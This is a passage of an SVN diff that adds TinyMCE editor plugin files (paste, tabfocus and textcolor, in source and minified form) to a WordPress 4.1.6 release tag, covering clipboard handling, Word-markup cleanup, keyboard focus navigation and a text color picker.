+		});
+	});
+});
+
+expose(["tinymce/pasteplugin/Utils","tinymce/pasteplugin/WordFilter"]);
+})(this);
Index: /tags/4.1.6/src/wp-includes/js/tinymce/plugins/paste/plugin.min.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/tinymce/plugins/paste/plugin.min.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/tinymce/plugins/paste/plugin.min.js	(revision 33402)
@@ -0,0 +1,1 @@
+!function(a,b){"use strict";function c(a,b){for(var c,d=[],f=0;f<a.length;++f){if(c=g[a[f]]||e(a[f]),!c)throw"module definition dependecy not found: "+a[f];d.push(c)}b.apply(null,d)}function d(a,d,e){if("string"!=typeof a)throw"invalid module definition, module id must be defined and be a string";if(d===b)throw"invalid module definition, dependencies must be specified";if(e===b)throw"invalid module definition, definition function must be specified";c(d,function(){g[a]=e.apply(null,arguments)})}function e(b){for(var c=a,d=b.split(/[.\/]/),e=0;e<d.length;++e){if(!c[d[e]])return;c=c[d[e]]}return c}function f(c){for(var d=0;d<c.length;d++){for(var e=a,f=c[d],h=f.split(/[.\/]/),i=0;i<h.length-1;++i)e[h[i]]===b&&(e[h[i]]={}),e=e[h[i]];e[h[h.length-1]]=g[f]}}var g={};d("tinymce/pasteplugin/Utils",["tinymce/util/Tools","tinymce/html/DomParser","tinymce/html/Schema"],function(a,b,c){function d(b,c){return a.each(c,function(a){b=a.constructor==RegExp?b.replace(a,""):b.replace(a[0],a[1])}),b}function e(e){function f(a){var b=a.name,c=a;if("br"===b)return void(i+="\n");if(j[b]&&(i+=" "),k[b])return void(i+=" ");if(3==a.type&&(i+=a.value),!a.shortEnded&&(a=a.firstChild))do f(a);while(a=a.next);l[b]&&c.next&&(i+="\n","p"==b&&(i+="\n"))}var g=new c,h=new b({},g),i="",j=g.getShortEndedElements(),k=a.makeMap("script noscript style textarea video audio iframe object"," "),l=g.getBlockElements();return e=d(e,[/<!\[[^\]]+\]>/g]),f(h.parse(e)),i}function f(a){function b(a,b,c){return b||c?"\xa0":" "}return a=d(a,[/^[\s\S]*<body[^>]*>\s*|\s*<\/body[^>]*>[\s\S]*$/g,/<!--StartFragment-->|<!--EndFragment-->/g,[/( ?)<span class="Apple-converted-space">\u00a0<\/span>( ?)/g,b],/<br>$/i])}return{filter:d,innerText:e,trimHtml:f}}),d("tinymce/pasteplugin/Clipboard",["tinymce/Env","tinymce/util/VK","tinymce/pasteplugin/Utils"],function(a,b,c){return function(d){function e(a){var b,c=d.dom;if(b=d.fire("BeforePastePreProcess",{content:a}),b=d.fire("PastePreProcess",b),a=b.content,!b.isDefaultPrevented()){if(d.hasEventListeners("PastePostProcess")&&!b.isDefaultPrevented()){var e=c.add(d.getBody(),"div",{style:"display:none"},a);b=d.fire("PastePostProcess",{node:e}),c.remove(e),a=b.node.innerHTML}b.isDefaultPrevented()||d.insertContent(a,{merge:d.settings.paste_merge_formats!==!1})}}function f(a){a=d.dom.encode(a).replace(/\r\n/g,"\n");var b,f=d.dom.getParent(d.selection.getStart(),d.dom.isBlock),g=d.settings.forced_root_block;g&&(b=d.dom.createHTML(g,d.settings.forced_root_block_attrs),b=b.substr(0,b.length-3)+">"),f&&/^(PRE|DIV)$/.test(f.nodeName)||!g?a=c.filter(a,[[/\n/g,"<br>"]]):(a=c.filter(a,[[/\n\n/g,"</p>"+b],[/^(.*<\/p>)(<p>)$/,b+"$1"],[/\n/g,"<br />"]]),-1!=a.indexOf("<p>")&&(a=b+a)),e(a)}function g(){function b(a){var b,c,d,f=a.startContainer;if(b=a.getClientRects(),b.length)return b[0];if(a.collapsed&&1==f.nodeType){for(d=f.childNodes[s.startOffset];d&&3==d.nodeType&&!d.data.length;)d=d.nextSibling;if(d)return"BR"==d.tagName&&(c=e.doc.createTextNode("\ufeff"),d.parentNode.insertBefore(c,d),a=e.createRng(),a.setStartBefore(c),a.setEndAfter(c),b=a.getClientRects(),e.remove(c)),b.length?b[0]:void 0}}var c,e=d.dom,f=d.getBody(),g=d.dom.getViewPort(d.getWin()),h=g.y,i=20;if(s=d.selection.getRng(),d.inline&&(c=d.selection.getScrollContainer(),c&&c.scrollTop>0&&(h=c.scrollTop)),s.getClientRects){var j=b(s);if(j)i=h+(j.top-e.getPos(f).y);else{i=h;var k=s.startContainer;k&&(3==k.nodeType&&k.parentNode!=f&&(k=k.parentNode),1==k.nodeType&&(i=e.getPos(k,c||f).y))}}r=e.add(d.getBody(),"div",{id:"mcepastebin",contentEditable:!0,"data-mce-bogus":"all",style:"position: absolute; top: "+i+"px;width: 10px; height: 10px; overflow: hidden; opacity: 0"},x),(a.ie||a.gecko)&&e.setStyle(r,"left","rtl"==e.getStyle(f,"direction",!0)?65535:-65535),e.bind(r,"beforedeactivate focusin focusout",function(a){a.stopPropagation()}),r.focus(),d.selection.select(r,!0)}function h(){if(r){for(var a;a=d.dom.get("mcepastebin");)d.dom.remove(a),d.dom.unbind(a);s&&d.selection.setRng(s)}r=s=null}function i(){var a,b,c,e,f="";for(a=d.dom.select("div[id=mcepastebin]"),b=0;b<a.length;b++)c=a[b],c.firstChild&&"mcepastebin"==c.firstChild.id&&(c=c.firstChild),e=c.innerHTML,f!=x&&(f+=e);return f}function j(a){var b={};if(a){if(a.getData){var c=a.getData("Text");c&&c.length>0&&(b["text/plain"]=c)}if(a.types)for(var d=0;d<a.types.length;d++){var e=a.types[d];b[e]=a.getData(e)}}return b}function k(a){return j(a.clipboardData||d.getDoc().dataTransfer)}function l(a,b){function c(c){function f(){b&&(d.selection.setRng(b),b=null),e('<img src="'+i.result+'">')}var g,h,i;if(c)for(g=0;g<c.length;g++)if(h=c[g],/^image\/(jpeg|png|gif)$/.test(h.type))return i=new FileReader,i.onload=f,i.readAsDataURL(h.getAsFile?h.getAsFile():h),a.preventDefault(),!0}var f=a.clipboardData||a.dataTransfer;return d.settings.paste_data_images&&f?c(f.items)||c(f.files):void 0}function m(a){var b=a.clipboardData;return-1!=navigator.userAgent.indexOf("Android")&&b&&b.items&&0===b.items.length}function n(a){var b,c,e=d.getDoc();if(e.caretPositionFromPoint)c=e.caretPositionFromPoint(a.clientX,a.clientY),b=e.createRange(),b.setStart(c.offsetNode,c.offset),b.collapse(!0);else if(e.caretRangeFromPoint)b=e.caretRangeFromPoint(a.clientX,a.clientY);else if(e.body.createTextRange){b=e.body.createTextRange();try{b.moveToPoint(a.clientX,a.clientY),b.collapse(!0)}catch(f){b.collapse(a.clientY<e.body.clientHeight)}}return b}function o(a,b){return b in a&&a[b].length>0}function p(a){return b.metaKeyPressed(a)&&86==a.keyCode||a.shiftKey&&45==a.keyCode}function q(){d.on("keydown",function(b){function c(a){p(a)&&!a.isDefaultPrevented()&&h()}if(p(b)&&!b.isDefaultPrevented()){if(t=b.shiftKey&&86==b.keyCode,t&&a.webkit&&-1!=navigator.userAgent.indexOf("Version/"))return;if(b.stopImmediatePropagation(),v=(new Date).getTime(),a.ie&&t)return b.preventDefault(),void d.fire("paste",{ieFake:!0});h(),g(),d.once("keyup",c),d.once("paste",function(){d.off("keyup",c)})}}),d.on("paste",function(b){var j=(new Date).getTime(),n=k(b),p=(new Date).getTime()-j,q=(new Date).getTime()-v-p<1e3,s="text"==u.pasteFormat||t;return t=!1,b.isDefaultPrevented()||m(b)?void h():l(b)?void h():(q||b.preventDefault(),!a.ie||q&&!b.ieFake||(g(),d.dom.bind(r,"paste",function(a){a.stopPropagation()}),d.getDoc().execCommand("Paste",!1,null),n["text/html"]=i()),void setTimeout(function(){var a;return o(n,"text/html")?a=n["text/html"]:(a=i(),a==x&&(s=!0)),a=c.trimHtml(a),r&&r.firstChild&&"mcepastebin"===r.firstChild.id&&(s=!0),h(),a.length||(s=!0),s&&(a=o(n,"text/plain")&&-1==a.indexOf("</p>")?n["text/plain"]:c.innerText(a)),a==x?void(q||d.windowManager.alert("Please use Ctrl+V/Cmd+V keyboard shortcuts to paste contents.")):void(s?f(a):e(a))},0))}),d.on("dragstart dragend",function(a){w="dragstart"==a.type}),d.on("drop",function(a){var b=n(a);if(!a.isDefaultPrevented()&&!w&&!l(a,b)&&b&&d.settings.paste_filter_drop!==!1){var g=j(a.dataTransfer),h=g["mce-internal"]||g["text/html"]||g["text/plain"];h&&(a.preventDefault(),d.undoManager.transact(function(){g["mce-internal"]&&d.execCommand("Delete"),d.selection.setRng(b),h=c.trimHtml(h),g["text/html"]?e(h):f(h)}))}}),d.on("dragover dragend",function(a){var b,c=a.dataTransfer;if(d.settings.paste_data_images&&c)for(b=0;b<c.types.length;b++)if("Files"==c.types[b])return a.preventDefault(),!1})}var r,s,t,u=this,v=0,w=!1,x="%MCEPASTEBIN%";u.pasteHtml=e,u.pasteText=f,d.on("preInit",function(){q(),d.parser.addNodeFilter("img",function(b){if(!d.settings.paste_data_images)for(var c=b.length;c--;){var e=b[c].attributes.map.src;e&&/^(data:image|webkit\-fake\-url)/.test(e)&&(b[c].attr("data-mce-object")||e===a.transparentSrc||b[c].remove())}})})}}),d("tinymce/pasteplugin/WordFilter",["tinymce/util/Tools","tinymce/html/DomParser","tinymce/html/Schema","tinymce/html/Serializer","tinymce/html/Node","tinymce/pasteplugin/Utils"],function(a,b,c,d,e,f){function g(a){return/<font face="Times New Roman"|class="?Mso|style="[^"]*\bmso-|style='[^'']*\bmso-|w:WordDocument/i.test(a)||/class="OutlineElement/.test(a)||/id="?docs\-internal\-guid\-/.test(a)}function h(b){var c,d;return d=[/^[IVXLMCD]{1,2}\.[ \u00a0]/,/^[ivxlmcd]{1,2}\.[ \u00a0]/,/^[a-z]{1,2}[\.\)][ \u00a0]/,/^[A-Z]{1,2}[\.\)][ \u00a0]/,/^[0-9]+\.[ \u00a0]/,/^[\u3007\u4e00\u4e8c\u4e09\u56db\u4e94\u516d\u4e03\u516b\u4e5d]+\.[ \u00a0]/,/^[\u58f1\u5f10\u53c2\u56db\u4f0d\u516d\u4e03\u516b\u4e5d\u62fe]+\.[ \u00a0]/],b=b.replace(/^[\u00a0 ]+/,""),a.each(d,function(a){return a.test(b)?(c=!0,!1):void 0}),c}function i(a){return/^[\s\u00a0]*[\u2022\u00b7\u00a7\u00d8\u25CF]\s*/.test(a)}function j(j){var k=j.settings;j.on("BeforePastePreProcess",function(l){function m(a){function b(a){var c="";if(3===a.type)return a.value;if(a=a.firstChild)do c+=b(a);while(a=a.next);return c}function c(a,b){if(3===a.type&&b.test(a.value))return a.value=a.value.replace(b,""),!1;if(a=a.firstChild)do if(!c(a,b))return!1;while(a=a.next);return!0}function d(a){if(a._listIgnore)return void a.remove();if(a=a.firstChild)do d(a);while(a=a.next)}function f(a,b,f){var h=a._listLevel||k;h!=k&&(k>h?g&&(g=g.parent.parent):(j=g,g=null)),g&&g.name==b?g.append(a):(j=j||g,g=new e(b,1),f>1&&g.attr("start",""+f),a.wrap(g)),a.name="li",h>k&&j&&j.lastChild.append(g),k=h,d(a),c(a,/^\u00a0+/),c(a,/^\s*([\u2022\u00b7\u00a7\u00d8\u25CF]|\w+\.)/),c(a,/^\u00a0+/)}for(var g,j,k=1,l=[],m=a.firstChild;"undefined"!=typeof m&&null!==m;)if(l.push(m),m=m.walk(),null!==m)for(;"undefined"!=typeof m&&m.parent!==a;)m=m.walk();for(var n=0;n<l.length;n++)if(a=l[n],"p"==a.name&&a.firstChild){var o=b(a);if(i(o)){f(a,"ul");continue}if(h(o)){var p=/([0-9]+)\./.exec(o),q=1;p&&(q=parseInt(p[1],10)),f(a,"ol",q);continue}if(a._listLevel){f(a,"ul",1);continue}g=null}else j=g,g=null}function n(b,c){var d,f={},g=j.dom.parseStyle(c);return a.each(g,function(a,e){switch(e){case"mso-list":d=/\w+ \w+([0-9]+)/i.exec(c),d&&(b._listLevel=parseInt(d[1],10)),/Ignore/i.test(a)&&b.firstChild&&(b._listIgnore=!0,b.firstChild._listIgnore=!0);break;case"horiz-align":e="text-align";break;case"vert-align":e="vertical-align";break;case"font-color":case"mso-foreground":e="color";break;case"mso-background":case"mso-highlight":e="background";break;case"font-weight":case"font-style":return void("normal"!=a&&(f[e]=a));case"mso-element":if(/^(comment|comment-list)$/i.test(a))return void b.remove()}return 0===e.indexOf("mso-comment")?void b.remove():void(0!==e.indexOf("mso-")&&("all"==o||p&&p[e])&&(f[e]=a))}),/(bold)/i.test(f["font-weight"])&&(delete f["font-weight"],b.wrap(new e("b",1))),/(italic)/i.test(f["font-style"])&&(delete f["font-style"],b.wrap(new e("i",1))),f=j.dom.serializeStyle(f,b.name),f?f:null}var o,p,q=l.content;if(o=k.paste_retain_style_properties,o&&(p=a.makeMap(o.split(/[, ]/))),k.paste_enable_default_filters!==!1&&g(l.content)){l.wordContent=!0,q=f.filter(q,[/<!--[\s\S]+?-->/gi,/<(!|script[^>]*>.*?<\/script(?=[>\s])|\/?(\?xml(:\w+)?|img|meta|link|style|\w:\w+)(?=[\s\/>]))[^>]*>/gi,[/<(\/?)s>/gi,"<$1strike>"],[/&nbsp;/gi,"\xa0"],[/<span\s+style\s*=\s*"\s*mso-spacerun\s*:\s*yes\s*;?\s*"\s*>([\s\u00a0]*)<\/span>/gi,function(a,b){return b.length>0?b.replace(/./," ").slice(Math.floor(b.length/2)).split("").join("\xa0"):""}]]);var r=k.paste_word_valid_elements;r||(r="-strong/b,-em/i,-u,-span,-p,-ol,-ul,-li,-h1,-h2,-h3,-h4,-h5,-h6,-p/div,-a[href|name],sub,sup,strike,br,del,table[width],tr,td[colspan|rowspan|width],th[colspan|rowspan|width],thead,tfoot,tbody");var s=new c({valid_elements:r,valid_children:"-li[p]"});a.each(s.elements,function(a){a.attributes["class"]||(a.attributes["class"]={},a.attributesOrder.push("class")),a.attributes.style||(a.attributes.style={},a.attributesOrder.push("style"))});var t=new b({},s);t.addAttributeFilter("style",function(a){for(var b,c=a.length;c--;)b=a[c],b.attr("style",n(b,b.attr("style"))),"span"==b.name&&b.parent&&!b.attributes.length&&b.unwrap()}),t.addAttributeFilter("class",function(a){for(var b,c,d=a.length;d--;)b=a[d],c=b.attr("class"),/^(MsoCommentReference|MsoCommentText|msoDel|MsoCaption)$/i.test(c)&&b.remove(),b.attr("class",null)}),t.addNodeFilter("del",function(a){for(var b=a.length;b--;)a[b].remove()}),t.addNodeFilter("a",function(a){for(var b,c,d,e=a.length;e--;)if(b=a[e],c=b.attr("href"),d=b.attr("name"),c&&-1!=c.indexOf("#_msocom_"))b.remove();else if(c&&0===c.indexOf("file://")&&(c=c.split("#")[1],c&&(c="#"+c)),c||d){if(d&&!/^_?(?:toc|edn|ftn)/i.test(d)){b.unwrap();continue}b.attr({href:c,name:d})}else b.unwrap()});var u=t.parse(q);k.paste_convert_word_fake_lists!==!1&&m(u),l.content=new d({},s).serialize(u)}})}return j.isWordContent=g,j}),d("tinymce/pasteplugin/Quirks",["tinymce/Env","tinymce/util/Tools","tinymce/pasteplugin/WordFilter","tinymce/pasteplugin/Utils"],function(a,b,c,d){return function(e){function f(a){e.on("BeforePastePreProcess",function(b){b.content=a(b.content)})}function g(a){if(!c.isWordContent(a))return a;var f=[];b.each(e.schema.getBlockElements(),function(a,b){f.push(b)});var g=new RegExp("(?:<br>&nbsp;[\\s\\r\\n]+|<br>)*(<\\/?("+f.join("|")+")[^>]*>)(?:<br>&nbsp;[\\s\\r\\n]+|<br>)*","g");return a=d.filter(a,[[g,"$1"]]),a=d.filter(a,[[/<br><br>/g,"<BR><BR>"],[/<br>/g," "],[/<BR><BR>/g,"<br>"]])}function h(a){if(c.isWordContent(a))return a;var b=e.settings.paste_webkit_styles;if(e.settings.paste_remove_styles_if_webkit===!1||"all"==b)return a;if(b&&(b=b.split(/[, ]/)),b){var d=e.dom,f=e.selection.getNode();a=a.replace(/(<[^>]+) style="([^"]*)"([^>]*>)/gi,function(a,c,e,g){var h=d.parseStyle(e,"span"),i={};if("none"===b)return c+g;for(var j=0;j<b.length;j++){var k=h[b[j]],l=d.getStyle(f,b[j],!0);/color/.test(b[j])&&(k=d.toHex(k),l=d.toHex(l)),l!=k&&(i[b[j]]=k)}return i=d.serializeStyle(i,"span"),i?c+' style="'+i+'"'+g:c+g})}else a=a.replace(/(<[^>]+) style="([^"]*)"([^>]*>)/gi,"$1$3");return a=a.replace(/(<[^>]+) data-mce-style="([^"]+)"([^>]*>)/gi,function(a,b,c,d){return b+' style="'+c+'"'+d})}a.webkit&&f(h),a.ie&&f(g)}}),d("tinymce/pasteplugin/Plugin",["tinymce/PluginManager","tinymce/pasteplugin/Clipboard","tinymce/pasteplugin/WordFilter","tinymce/pasteplugin/Quirks"],function(a,b,c,d){var e;a.add("paste",function(a){function f(){"text"==g.pasteFormat?(this.active(!1),g.pasteFormat="html"):(g.pasteFormat="text",this.active(!0),e||(a.windowManager.alert("Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off."),e=!0))}var g,h=this,i=a.settings;h.clipboard=g=new b(a),h.quirks=new d(a),h.wordFilter=new c(a),a.settings.paste_as_text&&(h.clipboard.pasteFormat="text"),i.paste_preprocess&&a.on("PastePreProcess",function(a){i.paste_preprocess.call(h,h,a)}),i.paste_postprocess&&a.on("PastePostProcess",function(a){i.paste_postprocess.call(h,h,a)}),a.addCommand("mceInsertClipboardContent",function(a,b){b.content&&h.clipboard.pasteHtml(b.content),b.text&&h.clipboard.pasteText(b.text)}),a.paste_block_drop&&a.on("dragend dragover draggesture dragdrop drop drag",function(a){a.preventDefault(),a.stopPropagation()}),a.settings.paste_data_images||a.on("drop",function(a){var b=a.dataTransfer;b&&b.files&&b.files.length>0&&a.preventDefault()}),a.addButton("pastetext",{icon:"pastetext",tooltip:"Paste as text",onclick:f,active:"text"==h.clipboard.pasteFormat}),a.addMenuItem("pastetext",{text:"Paste as text",selectable:!0,active:g.pasteFormat,onclick:f})})}),f(["tinymce/pasteplugin/Utils","tinymce/pasteplugin/WordFilter"])}(this);
Index: /tags/4.1.6/src/wp-includes/js/tinymce/plugins/tabfocus/plugin.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/tinymce/plugins/tabfocus/plugin.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/tinymce/plugins/tabfocus/plugin.js	(revision 33402)
@@ -0,0 +1,120 @@
+/**
+ * plugin.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/*global tinymce:true */
+
+tinymce.PluginManager.add('tabfocus', function(editor) {
+	var DOM = tinymce.DOM, each = tinymce.each, explode = tinymce.explode;
+
+	function tabCancel(e) {
+		if (e.keyCode === 9 && !e.ctrlKey && !e.altKey && !e.metaKey) {
+			e.preventDefault();
+		}
+	}
+
+	function tabHandler(e) {
+		var x, el, v, i;
+
+		if (e.keyCode !== 9 || e.ctrlKey || e.altKey || e.metaKey || e.isDefaultPrevented()) {
+			return;
+		}
+
+		function find(direction) {
+			el = DOM.select(':input:enabled,*[tabindex]:not(iframe)');
+
+			function canSelectRecursive(e) {
+				return e.nodeName === "BODY" || (e.type != 'hidden' &&
+					e.style.display != "none" &&
+					e.style.visibility != "hidden" && canSelectRecursive(e.parentNode));
+			}
+
+			function canSelect(el) {
+				return /INPUT|TEXTAREA|BUTTON/.test(el.tagName) && tinymce.get(e.id)  && el.tabIndex != -1 && canSelectRecursive(el);
+			}
+
+			each(el, function(e, i) {
+				if (e.id == editor.id) {
+					x = i;
+					return false;
+				}
+			});
+			if (direction > 0) {
+				for (i = x + 1; i < el.length; i++) {
+					if (canSelect(el[i])) {
+						return el[i];
+					}
+				}
+			} else {
+				for (i = x - 1; i >= 0; i--) {
+					if (canSelect(el[i])) {
+						return el[i];
+					}
+				}
+			}
+
+			return null;
+		}
+
+		v = explode(editor.getParam('tab_focus', editor.getParam('tabfocus_elements', ':prev,:next')));
+
+		if (v.length == 1) {
+			v[1] = v[0];
+			v[0] = ':prev';
+		}
+
+		// Find element to focus
+		if (e.shiftKey) {
+			if (v[0] == ':prev') {
+				el = find(-1);
+			} else {
+				el = DOM.get(v[0]);
+			}
+		} else {
+			if (v[1] == ':next') {
+				el = find(1);
+			} else {
+				el = DOM.get(v[1]);
+			}
+		}
+
+		if (el) {
+			var focusEditor = tinymce.get(el.id || el.name);
+
+			if (el.id && focusEditor) {
+				focusEditor.focus();
+			} else {
+				window.setTimeout(function() {
+					if (!tinymce.Env.webkit) {
+						window.focus();
+					}
+
+					el.focus();
+				}, 10);
+			}
+
+			e.preventDefault();
+		}
+	}
+
+	editor.on('init', function() {
+		if (editor.inline) {
+			// Remove default tabIndex in inline mode
+			tinymce.DOM.setAttrib(editor.getBody(), 'tabIndex', null);
+		}
+
+		editor.on('keyup', tabCancel);
+
+		if (tinymce.Env.gecko) {
+			editor.on('keypress keydown', tabHandler);
+		} else {
+			editor.on('keydown', tabHandler);
+		}
+	});
+});
Index: /tags/4.1.6/src/wp-includes/js/tinymce/plugins/tabfocus/plugin.min.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/tinymce/plugins/tabfocus/plugin.min.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/tinymce/plugins/tabfocus/plugin.min.js	(revision 33402)
@@ -0,0 +1,1 @@
+tinymce.PluginManager.add("tabfocus",function(a){function b(a){9!==a.keyCode||a.ctrlKey||a.altKey||a.metaKey||a.preventDefault()}function c(b){function c(c){function f(a){return"BODY"===a.nodeName||"hidden"!=a.type&&"none"!=a.style.display&&"hidden"!=a.style.visibility&&f(a.parentNode)}function i(a){return/INPUT|TEXTAREA|BUTTON/.test(a.tagName)&&tinymce.get(b.id)&&-1!=a.tabIndex&&f(a)}if(h=d.select(":input:enabled,*[tabindex]:not(iframe)"),e(h,function(b,c){return b.id==a.id?(g=c,!1):void 0}),c>0){for(j=g+1;j<h.length;j++)if(i(h[j]))return h[j]}else for(j=g-1;j>=0;j--)if(i(h[j]))return h[j];return null}var g,h,i,j;if(!(9!==b.keyCode||b.ctrlKey||b.altKey||b.metaKey||b.isDefaultPrevented())&&(i=f(a.getParam("tab_focus",a.getParam("tabfocus_elements",":prev,:next"))),1==i.length&&(i[1]=i[0],i[0]=":prev"),h=b.shiftKey?":prev"==i[0]?c(-1):d.get(i[0]):":next"==i[1]?c(1):d.get(i[1]))){var k=tinymce.get(h.id||h.name);h.id&&k?k.focus():window.setTimeout(function(){tinymce.Env.webkit||window.focus(),h.focus()},10),b.preventDefault()}}var d=tinymce.DOM,e=tinymce.each,f=tinymce.explode;a.on("init",function(){a.inline&&tinymce.DOM.setAttrib(a.getBody(),"tabIndex",null),a.on("keyup",b),tinymce.Env.gecko?a.on("keypress keydown",c):a.on("keydown",c)})});
Index: /tags/4.1.6/src/wp-includes/js/tinymce/plugins/textcolor/plugin.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/tinymce/plugins/textcolor/plugin.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/tinymce/plugins/textcolor/plugin.js	(revision 33402)
@@ -0,0 +1,272 @@
+/**
+ * plugin.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/*global tinymce:true */
+/*eslint consistent-this:0 */
+
+tinymce.PluginManager.add('textcolor', function(editor) {
+	var cols, rows;
+
+	rows = editor.settings.textcolor_rows || 5;
+	cols = editor.settings.textcolor_cols || 8;
+
+	function getCurrentColor(format) {
+		var color;
+
+		editor.dom.getParents(editor.selection.getStart(), function(elm) {
+			var value;
+
+			if ((value = elm.style[format == 'forecolor' ? 'color' : 'background-color'])) {
+				color = value;
+			}
+		});
+
+		return color;
+	}
+
+	function mapColors() {
+		var i, colors = [], colorMap;
+
+		colorMap = editor.settings.textcolor_map || [
+			"000000", "Black",
+			"993300", "Burnt orange",
+			"333300", "Dark olive",
+			"003300", "Dark green",
+			"003366", "Dark azure",
+			"000080", "Navy Blue",
+			"333399", "Indigo",
+			"333333", "Very dark gray",
+			"800000", "Maroon",
+			"FF6600", "Orange",
+			"808000", "Olive",
+			"008000", "Green",
+			"008080", "Teal",
+			"0000FF", "Blue",
+			"666699", "Grayish blue",
+			"808080", "Gray",
+			"FF0000", "Red",
+			"FF9900", "Amber",
+			"99CC00", "Yellow green",
+			"339966", "Sea green",
+			"33CCCC", "Turquoise",
+			"3366FF", "Royal blue",
+			"800080", "Purple",
+			"999999", "Medium gray",
+			"FF00FF", "Magenta",
+			"FFCC00", "Gold",
+			"FFFF00", "Yellow",
+			"00FF00", "Lime",
+			"00FFFF", "Aqua",
+			"00CCFF", "Sky blue",
+			"993366", "Red violet",
+			"FFFFFF", "White",
+			"FF99CC", "Pink",
+			"FFCC99", "Peach",
+			"FFFF99", "Light yellow",
+			"CCFFCC", "Pale green",
+			"CCFFFF", "Pale cyan",
+			"99CCFF", "Light sky blue",
+			"CC99FF", "Plum"
+		];
+
+		for (i = 0; i < colorMap.length; i += 2) {
+			colors.push({
+				text: colorMap[i + 1],
+				color: '#' + colorMap[i]
+			});
+		}
+
+		return colors;
+	}
+
+	function renderColorPicker() {
+		var ctrl = this, colors, color, html, last, x, y, i, id = ctrl._id, count = 0;
+
+		function getColorCellHtml(color, title) {
+			var isNoColor = color == 'transparent';
+
+			return (
+				'<td class="mce-grid-cell' + (isNoColor ? ' mce-colorbtn-trans' : '') + '">' +
+					'<div id="' + id + '-' + (count++) + '"' +
+						' data-mce-color="' + (color ? color : '') + '"' +
+						' role="option"' +
+						' tabIndex="-1"' +
+						' style="' + (color ? 'background-color: ' + color : '') + '"' +
+						' title="' + tinymce.translate(title) + '">' +
+						(isNoColor ? '&#215;' : '') +
+					'</div>' +
+				'</td>'
+			);
+		}
+
+		colors = mapColors();
+		colors.push({
+			text: tinymce.translate("No color"),
+			color: "transparent"
+		});
+
+		html = '<table class="mce-grid mce-grid-border mce-colorbutton-grid" role="list" cellspacing="0"><tbody>';
+		last = colors.length - 1;
+
+		for (y = 0; y < rows; y++) {
+			html += '<tr>';
+
+			for (x = 0; x < cols; x++) {
+				i = y * cols + x;
+
+				if (i > last) {
+					html += '<td></td>';
+				} else {
+					color = colors[i];
+					html += getColorCellHtml(color.color, color.text);
+				}
+			}
+
+			html += '</tr>';
+		}
+
+		if (editor.settings.color_picker_callback) {
+			html += (
+				'<tr>' +
+					'<td colspan="' + cols + '" class="mce-custom-color-btn">' +
+						'<div id="' + id + '-c" class="mce-widget mce-btn mce-btn-small mce-btn-flat" ' +
+							'role="button" tabindex="-1" aria-labelledby="' + id + '-c" style="width: 100%">' +
+							'<button type="button" role="presentation" tabindex="-1">' + tinymce.translate('Custom...') + '</button>' +
+						'</div>' +
+					'</td>' +
+				'</tr>'
+			);
+
+			html += '<tr>';
+
+			for (x = 0; x < cols; x++) {
+				html += getColorCellHtml('', 'Custom color');
+			}
+
+			html += '</tr>';
+		}
+
+		html += '</tbody></table>';
+
+		return html;
+	}
+
+	function applyFormat(format, value) {
+		editor.focus();
+		editor.formatter.apply(format, {value: value});
+		editor.nodeChanged();
+	}
+
+	function removeFormat(format) {
+		editor.focus();
+		editor.formatter.remove(format, {value: null}, null, true);
+		editor.nodeChanged();
+	}
+
+	function onPanelClick(e) {
+		var buttonCtrl = this.parent(), value;
+
+		function selectColor(value) {
+			buttonCtrl.hidePanel();
+			buttonCtrl.color(value);
+			applyFormat(buttonCtrl.settings.format, value);
+		}
+
+		function setDivColor(div, value) {
+			div.style.background = value;
+			div.setAttribute('data-mce-color', value);
+		}
+
+		if (tinymce.DOM.getParent(e.target, '.mce-custom-color-btn')) {
+			buttonCtrl.hidePanel();
+
+			editor.settings.color_picker_callback.call(editor, function(value) {
+				var tableElm = buttonCtrl.panel.getEl().getElementsByTagName('table')[0];
+				var customColorCells, div, i;
+
+				customColorCells = tinymce.map(tableElm.rows[tableElm.rows.length - 1].childNodes, function(elm) {
+					return elm.firstChild;
+				});
+
+				for (i = 0; i < customColorCells.length; i++) {
+					div = customColorCells[i];
+					if (!div.getAttribute('data-mce-color')) {
+						break;
+					}
+				}
+
+				// Shift colors to the right
+				// TODO: Might need to be the left on RTL
+				if (i == cols) {
+					for (i = 0; i < cols - 1; i++) {
+						setDivColor(customColorCells[i], customColorCells[i + 1].getAttribute('data-mce-color'));
+					}
+				}
+
+				setDivColor(div, value);
+				selectColor(value);
+			}, getCurrentColor(buttonCtrl.settings.format));
+		}
+
+		value = e.target.getAttribute('data-mce-color');
+		if (value) {
+			if (this.lastId) {
+				document.getElementById(this.lastId).setAttribute('aria-selected', false);
+			}
+
+			e.target.setAttribute('aria-selected', true);
+			this.lastId = e.target.id;
+
+			if (value == 'transparent') {
+				removeFormat(buttonCtrl.settings.format);
+				buttonCtrl.hidePanel();
+				return;
+			}
+
+			selectColor(value);
+		} else if (value !== null) {
+			buttonCtrl.hidePanel();
+		}
+	}
+
+	function onButtonClick() {
+		var self = this;
+
+		if (self._color) {
+			applyFormat(self.settings.format, self._color);
+		}
+	}
+
+	editor.addButton('forecolor', {
+		type: 'colorbutton',
+		tooltip: 'Text color',
+		format: 'forecolor',
+		panel: {
+			role: 'application',
+			ariaRemember: true,
+			html: renderColorPicker,
+			onclick: onPanelClick
+		},
+		onclick: onButtonClick
+	});
+
+	editor.addButton('backcolor', {
+		type: 'colorbutton',
+		tooltip: 'Background color',
+		format: 'hilitecolor',
+		panel: {
+			role: 'application',
+			ariaRemember: true,
+			html: renderColorPicker,
+			onclick: onPanelClick
+		},
+		onclick: onButtonClick
+	});
+});
Index: /tags/4.1.6/src/wp-includes/js/tinymce/plugins/textcolor/plugin.min.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/tinymce/plugins/textcolor/plugin.min.js	(revision 33402)
